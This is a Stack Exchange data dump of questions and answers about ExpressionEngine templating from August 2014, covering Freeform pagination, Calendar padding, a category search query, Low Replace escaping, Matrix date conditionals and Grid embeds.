  <row Id="25266" PostTypeId="2" ParentId="25246" CreationDate="2014-08-22T02:26:11.683" Score="0" Body="&lt;p&gt;Pagination with &lt;code&gt;paginate=&quot;both&quot;&lt;/code&gt;, for example, will place the code you have between &lt;code&gt;{freeform:paginate} ... {/freeform:paginate}&lt;/code&gt; right &lt;strong&gt;above and below&lt;/strong&gt; your main &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; code. In your case, the &lt;code&gt;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&lt;/code&gt; content would show right after your opening &lt;code&gt;&amp;lt;tbody&amp;gt;&lt;/code&gt;, and right before your closing &lt;code&gt;&amp;lt;/tbody&amp;gt;&lt;/code&gt; tag. HTML tables do not correctly display data that isn't wrapped in  or , because it's not the correct way to build an HTML table. A simple look at your HTML source code would reveal this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can handle this in different ways. If you want the pagination to be part of your table, starting with your code above you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:paginate}&#xA;&amp;lt;tr&amp;gt;&#xA;   &amp;lt;td colspan=&quot;7&quot;&amp;gt;Page {freeform:current_page} of {freeform:total_pages} pages &amp;amp;nbsp; {freeform:pagination_links}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/freeform:paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will place a row above and below your table rows, but still inside your &lt;code&gt;&amp;lt;tbody&amp;gt; ... &amp;lt;/tbody&amp;gt;&lt;/code&gt; tags, so everything is semantically correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you want your &lt;code&gt;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&lt;/code&gt; to show up completely above and below the &lt;code&gt;&amp;lt;table&amp;gt;...&amp;lt;/table&amp;gt;&lt;/code&gt; code, you will need to put your opening and closing table code &lt;em&gt;inside&lt;/em&gt; &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might ask:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;But, wouldn't the opening and closing &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; tags loop more than once if they're inside &lt;code&gt;{exp:freeform:entries}&lt;/code&gt;?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can make these display once using a conditional along with &#xA;&lt;code&gt;{freeform:count}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries /* your other parameters */}&#xA;    {if freeform:count == 1}&#xA;      &amp;lt;table&amp;gt;&#xA;         &amp;lt;thead&amp;gt;&#xA;             &amp;lt;tr&amp;gt;&#xA;               &amp;lt;th width=&quot;200&quot;&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th&amp;gt;Forum Account&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th width=&quot;&quot;&amp;gt;Company&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th width=&quot;&quot;&amp;gt;Job title&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th width=&quot;&quot;&amp;gt;Country&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th width=&quot;&quot;&amp;gt;Type&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th width=&quot;&quot;&amp;gt;Show&amp;lt;/th&amp;gt;&#xA;               &amp;lt;!-- &amp;lt;th width=&quot;&quot;&amp;gt;confirmed&amp;lt;/th&amp;gt; --&amp;gt;&#xA;             &amp;lt;/tr&amp;gt;&#xA;           &amp;lt;/thead&amp;gt;&#xA;           &amp;lt;tbody&amp;gt;&#xA;    {/if}&#xA;&#xA;    // ... the rest of your table ...&#xA;&#xA;    {if freeform:count == freeform:total_results}&#xA;         &amp;lt;/body&amp;gt;&#xA;      &amp;lt;/table&amp;gt;&#xA;    {/if}&#xA;&#xA;    {!-- &#xA;         == Pagination == &#xA;         This will be extracted from the tag pair and&#xA;         placed above and below the exp:freeform:entries tag &#xA;    --}&#xA;    {freeform:paginate}&#xA;       &amp;lt;p&amp;gt;&#xA;          Page {freeform:current_page} of {freeform:total_pages} pages &amp;amp;nbsp; {freeform:pagination_links}&#xA;       &amp;lt;/p&amp;gt;&#xA;    {/freeform:paginate}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same principle as when using other EE tags, such as &lt;code&gt;{exp:channel:entries}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-22T02:26:11.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25267" PostTypeId="2" ParentId="25203" CreationDate="2014-08-22T04:55:34.083" Score="0" Body="&lt;p&gt;The issue is with the calendar padding, which only pads the first month. Padding is the addition of extra days in a calendar row to make a complete, 7-day row, regardless whether the day is in the month or not. For example, the row at Aug 31 gets padded with September days from Sep 1st to Sep 6th to complete the calendar table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the first month is padded, each subsequent month doesn't get &quot;re-padded&quot; with days from the padded first month. That's when the calendar table layout breaks since there are missing days. Unfortunately this is an issue with Calendar, based on the way it makes its calculations  for days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to indeed repeat the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag as many times as months you want to display.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-22T04:55:34.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25268" PostTypeId="2" ParentId="25255" CreationDate="2014-08-22T05:02:55.297" Score="1" Body="&lt;p&gt;&lt;code&gt;secure_action=&quot;&quot;&lt;/code&gt; and &lt;code&gt;secure_return=&quot;&quot;&lt;/code&gt; do not force, or redirect, the form's URL to be HTTPS. These parameters set the URL protocol for &lt;strong&gt;after&lt;/strong&gt; the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;secure_action=&quot;&quot;&lt;/code&gt; parameter will make your form's &lt;code&gt;action=&quot;&quot;&lt;/code&gt; attribute use &lt;strong&gt;https&lt;/strong&gt;, eg: &lt;strong&gt;https&lt;/strong&gt;://mysite.com/index.php?ACT=123&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;secure_return=&quot;&quot;&lt;/code&gt; parameter will return you to a URL using &lt;strong&gt;https&lt;/strong&gt; after submitting the form. For example with &lt;code&gt;secure_action=&quot;yes&quot;&lt;/code&gt; and &lt;code&gt;return=&quot;contact/thank_you&quot;&lt;/code&gt;, Freeform will send you to &lt;strong&gt;https&lt;/strong&gt;://mysite.com/contact/thank_you after submitting the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual form page can be http or https, depending on the URL you visit. Freeform is not involved at that point. You would need to use .htaccess to force https pages on your site, or set up EE's config.php file to make all links https when you're visiting an https version of the site. For the config.php settings, this would still not prevent a user from visiting an http URL though.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-22T05:02:55.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25270" PostTypeId="2" ParentId="25228" CreationDate="2014-08-22T08:42:35.093" Score="0" Body="&lt;p&gt;I think one approach here would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) create a blog template e.g. blog/winner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) this template will expect either the winner id or url_title field in segment 3 (your preference)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) this template then does a channel entries tag limit 1 on the winners channel. You may need to set dynamic=&quot;no&quot; and then set either the entry_id or url_title parameter to {segment_3} as appropriate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) within the channel entries tag then use the parents tag to list out the relevant blog entries e.g. {parents field=&quot;blog_winner&quot;}. See &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) in your winners list template you won't use page_url in your links. Instead you would use path=blog/winner/{entry_id} or {url_title}&#xA;Although, depending on your set up you may be able to keep using the structure page_url links as the winner links and then in whichever template ends up being used you would start at step 3.&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="191" LastEditDate="2014-08-22T08:48:35.713" LastActivityDate="2014-08-22T08:48:35.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25271" PostTypeId="2" ParentId="25242" CreationDate="2014-08-22T09:09:05.687" Score="2" Body="&lt;p&gt;&lt;strong&gt;Low Search will always return &lt;em&gt;entries&lt;/em&gt;.&lt;/strong&gt; The Results tag is built on the native channel:entries tag, so it can output anything it can, and then some. However, it will still always return unique &lt;strong&gt;channel entries&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display categories, you can, but only like you would using the channel:entries tag: using the &lt;code&gt;{categories}{/categories}&lt;/code&gt; variable pair, which is always associated with an &lt;em&gt;entry&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputting stand-alone categories as a single search result (as if you were using the channel:categories tag) is &lt;em&gt;not&lt;/em&gt; possible.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-08-22T09:09:05.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25272" PostTypeId="1" CreationDate="2014-08-22T09:39:59.103" Score="0" ViewCount="95" Body="&lt;p&gt;I'm using Exp:presso store on a webshop. This webshop has multiple languages which I did with Publisher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to send the customer emails in their native language. Or at least, the language they also used on the website when they ordered something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now using publisher phrases in the order confirmation email is working fine, the email is send with translations. This only doesn't work for the Subject, there it will put the phrase in: &lt;code&gt;{phrase:email_subject}&lt;/code&gt; =&gt; {phrase:email_subject}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also doesn't work for all other emails that are send. Probably because it doesn't know which language it should use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do what I want? Send emails in the right language? Maybe with something like publisher? Or should I make a email template for each language? And how would I then trigger the right email template?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-09-21T23:37:44.007" Title="Exp-resso store email template translation" Tags="|expresso-store|multi-language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25274" PostTypeId="1" AcceptedAnswerId="25277" CreationDate="2014-08-22T13:50:38.867" Score="0" ViewCount="103" Body="&lt;p&gt;I have an SQL query which I'm adding to a small search plugin, however when I run the SQL in MySQL it works and results are found, however no rows are being returned when running the code in the plugin. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;query('&#xA;    SELECT c.cat_url_title, c.cat_name, ch.channel_name FROM exp_categories c&#xA;    LEFT JOIN exp_channels ch ON ch.cat_group = c.group_id&#xA;    WHERE c.cat_name LIKE &quot;%' . ee()-&amp;gt;db-&amp;gt;escape_str($keywords) . '%&quot;&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE (moved from further answer)&#xA;Thanks. I was being thick! the query was working correctly. I was sending it the wrong parameter&lt;/p&gt;&#xA;" OwnerUserId="2912" LastEditorUserId="159" LastEditDate="2014-08-28T17:15:13.013" LastActivityDate="2014-08-28T17:15:13.013" Title="What's wrong with this SQL query?" Tags="|database|mysql|query|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25275" PostTypeId="2" ParentId="24683" CreationDate="2014-08-22T14:56:16.570" Score="1" Body="&lt;p&gt;NO this is not possible according to the &lt;a href=&quot;http://iain.co.nz/software/docs/nolan&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;. If this is really important I would suggest contacting the developer to see if that could be added in. If it's possible you'd likely have to pay for the time to add the new functionality.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-08-22T14:56:16.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25276" PostTypeId="1" CreationDate="2014-08-22T15:24:52.387" Score="0" ViewCount="489" Body="&lt;p&gt;this may not be due to EE, but my site runs on EE so I want to ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are randomly getting css and js files returning a 404 error.  They exist, and a refresh loads them properly but it's hardly a good user experience to have a page load without CSS 10% of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex:     nothing special about that being in a template right?  Been using EE for almost 2 years and this just seemed to crop up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on where to look?  I am running EE 2.8.1 on a windows server with IIS&lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2014-08-22T15:24:52.387" Title="random 404 errors on existing files" Tags="|404|iis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25277" PostTypeId="2" ParentId="25274" CreationDate="2014-08-22T15:37:42.360" Score="3" Body="&lt;p&gt;I ran it and I'm getting results just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you outputting the results correctly?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;query('SELECT cat_url_title, cat_name, ch.channel_name  FROM exp_categories c&#xA;        LEFT JOIN exp_channels ch ON ch.cat_group = c.group_id&#xA;        WHERE c.cat_name LIKE &quot;%'.ee()-&amp;gt;db-&amp;gt;escape_str($keywords).'%&quot;');&#xA;foreach($query-&amp;gt;result_array() as $row)&#xA;{&#xA;    echo $row['cat_name'].&quot;&amp;lt;br&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-22T15:37:42.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25278" PostTypeId="2" ParentId="25259" CreationDate="2014-08-22T16:09:52.257" Score="0" Body="&lt;p&gt;There is nothing wrong with the code that you posted in your questions. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-08-22T16:09:52.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25279" PostTypeId="1" CreationDate="2014-08-22T17:11:21.593" Score="1" ViewCount="106" Body="&lt;p&gt;I am currently using Low Replace to clean up content exported from EE to be used as a JSON object. This means cleaning up new lines, spaces, escaping quotes and backslashes. I am able to get the first three to work. However I cannot seem to find a way to escape a backslash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried to map it as a replacement option in pi.low_replace.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private $_map = array(&#xA;        'SPACE'   =&amp;gt; ' ',&#xA;        'QUOTE'   =&amp;gt; '&quot;',&#xA;        'NEWLINE' =&amp;gt; &quot;\n&quot;,&#xA;        'PIPE'    =&amp;gt; '|',&#xA;        'BACKSLASH'    =&amp;gt; &quot;\\&quot;&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No luck.&lt;/p&gt;&#xA;" OwnerUserId="3506" LastActivityDate="2014-09-21T19:35:56.320" Title="Replacing backslash in content with Low Replace" Tags="|low-replace|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25280" PostTypeId="1" CreationDate="2014-08-22T17:26:09.173" Score="0" ViewCount="88" Body="&lt;p&gt;We are utilizing a Matrix field to list information by date (each day has it's own row - first column being &quot;date&quot;.  We want only today's row to be displayed (similar to a calendar).  HOWEVER, if an entry containing matrix rows - all of which are outdated, then a note to display &quot;outdated&quot; should appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Entry : Department&#xA;Channel Field : Calendar (Matrix)&#xA;Columns:  Date | Information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For entries that contain an updated monthly calendar, we are correctly identifying and displaying the single row with today's information using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{calendar}&#xA;    {if &quot;{date format='%Y%m%d'}&quot; == &quot;{current_time format='%Y%m%d'}&quot;}&#xA;        &amp;lt;information here&amp;gt;&#xA;    {if}&#xA;{/calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BUT, we need it to be a conditional examination of the all of the matrix rows within the entry so that if none of the rows matches current_time, then a notice of &quot;outdated calendar&quot; displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the catch - when we have used conditionals like the following, we get repeated display of &quot;outdated&quot; for every row that does not match today. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{calendar}&#xA;    {if &quot;{date format='%Y%m%d'}&quot; == &quot;{current_time format='%Y%m%d'}&quot;}&#xA;        &amp;lt;information here&amp;gt;&#xA;    {if:elseif &quot;{date format='%Y%m%d'}&quot; != &quot;{current_time format='%Y%m%d'}&quot;}&#xA;        &amp;lt;&quot;Your calendar is outdated&quot;&amp;gt;&#xA;    {/if}&#xA;{/calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus this results in 30 rows of &quot;Your calendar is outdated&quot; - instead of just one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We ONLY want one item displayed - either today's info (on a row that contains today's date) - OR outdated (if no rows match today's date)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="55" LastEditDate="2014-08-25T12:12:47.593" LastActivityDate="2014-09-24T12:55:31.080" Title="Conditional Examination of Dates within a Matrix Field" Tags="|matrix|conditionals|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25281" PostTypeId="1" CreationDate="2014-08-22T17:50:36.710" Score="0" ViewCount="335" Body="&lt;p&gt;I ran into a situation in which I need to pass a Grid field via embed. Is there a good way of doing this? I won’t know how many entries (rows) have been entered. I have set a max to five (5) and there are three (3) columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;/strong&gt; Simplified Template Added &lt;strong&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my primary template, I have a simple call to embed the footer like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;Footer/index&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is just a router template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Footer Router Template &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;footer&quot; &#xA;    limit=&quot;1&quot; &#xA;    disable='categories|member_data|pagination' &#xA;}&#xA;&#xA;    {!-- FIND THE TEMPLATE CHOSEN --}&#xA;    {exp:query &#xA;        sql=&quot;SELECT template_name FROM exp_templates WHERE template_id = '{footer_layout}' &quot;&#xA;    }&#xA;        {embed=&quot;Footer/{template_name}&quot; &#xA;            banner=&quot;{banner_text}&quot; &#xA;            news_head=&quot;{newsletter_subscription_header}&quot; &#xA;            news_intro=&quot;{newsletter_lead_in_copy}&quot; &#xA;            twitter_head=&quot;{twitter_feed_header}&quot; &#xA;            contact_head=&quot;{contact_header}&quot; &#xA;            posts_head=&quot;{recent_posts_header}&quot;&#xA;            work_head=&quot;{recent_work_header}&quot;&#xA;        }&#xA;    {/exp:query}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is where I would like to embed the Grid fields if possible to kep from deep nested templates)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the entry template, I am using Better Pages to allow them to choose a layout. There is one layout that when chosen, allows them to add up to 4 columns of mini navigational elements. This is where the Grid fields come into play. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are four fields that display for this page template selection. Each has the following 2 Grid fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is an options grid field {column_1_options}. 1 row 3 columns. Text 'Header', Dropdown 'Automatic' or 'Manual', and Dropdown 'Blog' or 'Portfolio' or 'Twitter'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is a links  grid field {column_1_links} for them to populate the navigational elements if they choose 'Manual' in the Dropdown above. It contains 0-5 Rows with 2 Text Input columns named 'Link' and 'Text'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I use stash lists to gather these like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;footer&quot;&#xA;    limit=&quot;1&quot;&#xA;    disable=&quot;categories|member_data|pagination&quot;&#xA;}&#xA;    {column_1_options}&#xA;        {exp:stash:col_1_head}{column_1_options:column_1_header}{/exp:stash:col_1_head}&#xA;        {exp:stash:col_1_method}{column_1_options:automatic_or_manual}{/exp:stash:col_1_method}&#xA;        {exp:stash:col_1_section}{column_1_options:section_for_automatic_links}{/exp:stash:col_1_section}&#xA;    {/column_1_options}&#xA;    {exp:stash:set_list name=&quot;column_1_links&quot; parse_tags=&quot;yes&quot;}&#xA;        {column_1_links}&#xA;            {stash:href}{column_1_links:link}{/stash:href}&#xA;            {stash:text}{column_1_links:text}{/stash:text}&#xA;        {/column_1_links}&#xA;    {/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is in a stash template that I call in the header of my primary templates like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- STASH SITE SETTINGS --}&#xA;    {stash:embed:partials:site_variables process=&quot;start&quot; replace=&quot;yes&quot; parse=&quot;yes&quot;}&#xA;{!-- /STASH SITE SETTINGS --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my footer template for the one they choose (The one with these options), I display their choices by pulling out the stash variables like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-3&quot;&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;{if &quot;{exp:stash:get name='col_1_head'}&quot; != &quot;&quot;}{exp:stash:get name='col_1_head'}{/if}&amp;lt;/h5&amp;gt;&#xA;                    {if &quot;{exp:stash:col_1_method}&quot; == &quot;Manual&quot;}&#xA;                        &amp;lt;ul class=&quot;list icons list-unstyled&quot;&amp;gt;&#xA;                            {exp:stash:get_list name=&quot;column_1_links&quot;}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;i class=&quot;icon icon-caret-right&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;{href}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/exp:stash:get_list}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    {if:else}&#xA;                        {if &quot;{exp:stash:get name='col_1_section'}&quot; == &quot;Blog&quot;}&#xA;                            &amp;lt;ul class=&quot;list icons list-unstyled&quot;&amp;gt;&#xA;                                {exp:channel:entries&#xA;                                    channel=&quot;blog_post&quot;&#xA;                                    limit=&quot;5&quot;&#xA;                                }&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;i class=&quot;icon icon-caret-right&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a title=&quot;{title}&quot; href=&quot;{title_permalink='blog/entry'}&quot;&amp;gt;{exp:eehive_hacksaw words=&quot;5&quot; append = &quot;...&quot; allow = &quot;&amp;lt;b&amp;gt;&amp;lt;a&amp;gt;&amp;lt;p&amp;gt;&quot;}{title}{/exp:eehive_hacksaw}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                {/exp:channel:entries}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        {/if}&#xA;                        {if &quot;{exp:stash:get name='col_1_section'}&quot; == &quot;Portfolio&quot;}&#xA;                            {exp:channel:entries&#xA;                                channel=&quot;portfolio_item&quot;&#xA;                                limit=&quot;5&quot;&#xA;                            }&#xA;                                &amp;lt;li&amp;gt;&amp;lt;i class=&quot;icon icon-caret-right&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a title=&quot;{title}&quot; href=&quot;{title_permalink='portfolio/item'}&quot;&amp;gt;{exp:eehive_hacksaw words=&quot;5&quot; append = &quot;...&quot; allow = &quot;&amp;lt;b&amp;gt;&amp;lt;a&amp;gt;&amp;lt;p&amp;gt;&quot;}{title}{/exp:eehive_hacksaw}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/exp:channel:entries}&#xA;                        {/if}&#xA;                        {if &quot;{exp:stash:get name='col_1_section'}&quot; == &quot;Twitter&quot;}&#xA;                            &amp;lt;div id=&quot;tweet&quot; class=&quot;twitter&quot; data-account-id=&quot;{exp:stash:get name='twitter-id'}&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Please wait...&amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;                ...&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would just like to be able to better utilize core features when available. I am always wanting to expand my knowledge of how to better build and simplify sites.  :)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-08-23T17:46:38.650" LastActivityDate="2014-08-23T17:46:38.650" Title="Can you embed a Grid field?" Tags="|ee2|grid|embeds|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25282" PostTypeId="1" AcceptedAnswerId="25284" CreationDate="2014-08-22T18:32:55.357" Score="0" ViewCount="167" Body="&lt;p&gt;I setup the next/previous entry linking code in an embed because it is positioned within a channel entries tag in the template. Same template, some entries display the links fine, and others don't. Can't figure out why it works for some and not others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template debugging says: Channel Next/Prev Entry tag error: Could not resolve single entry page id. But i don't know why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;artists&quot; disable=&quot;categories|member_data|category_fields|pagination&quot; dynamic=&quot;yes&quot;}&#xA;    {embed=&quot;artists/.next_prev&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.next_prev embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:next_entry}&#xA;            &amp;lt;p&amp;gt;Next: &amp;lt;a href=&quot;{path='artists'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/exp:channel:next_entry}&#xA;        {exp:channel:prev_entry}&#xA;            &amp;lt;p&amp;gt;Previous: &amp;lt;a href=&quot;{path='artists'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-08-22T18:54:10.303" Title="Next/Previous Entry Linking works on some entries but not others" Tags="|embeds|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25283" PostTypeId="2" ParentId="25279" CreationDate="2014-08-22T18:45:43.357" Score="1" Body="&lt;p&gt;Figured it out...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'BACKSLASH'    =&amp;gt; &quot;\/&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also found out I didn't need to modify the plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace multiple='yes' regex='yes' find='\/|QUOTE|NEWLINE|/\t/' replace='\|\QUOTE|SPACE'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works like a charm.&lt;/p&gt;&#xA;" OwnerUserId="3506" LastActivityDate="2014-08-22T18:45:43.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25284" PostTypeId="2" ParentId="25282" CreationDate="2014-08-22T18:54:10.303" Score="1" Body="&lt;p&gt;Make sure to include the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_linking.html#channel&quot; rel=&quot;nofollow&quot;&gt;channel parameter&lt;/a&gt; into your next and prev entry tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also look into the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_linking.html#url-title&quot; rel=&quot;nofollow&quot;&gt;url_title parameter&lt;/a&gt; because you are embedding these. Just get the segment that has your entries url title&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-22T18:54:10.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
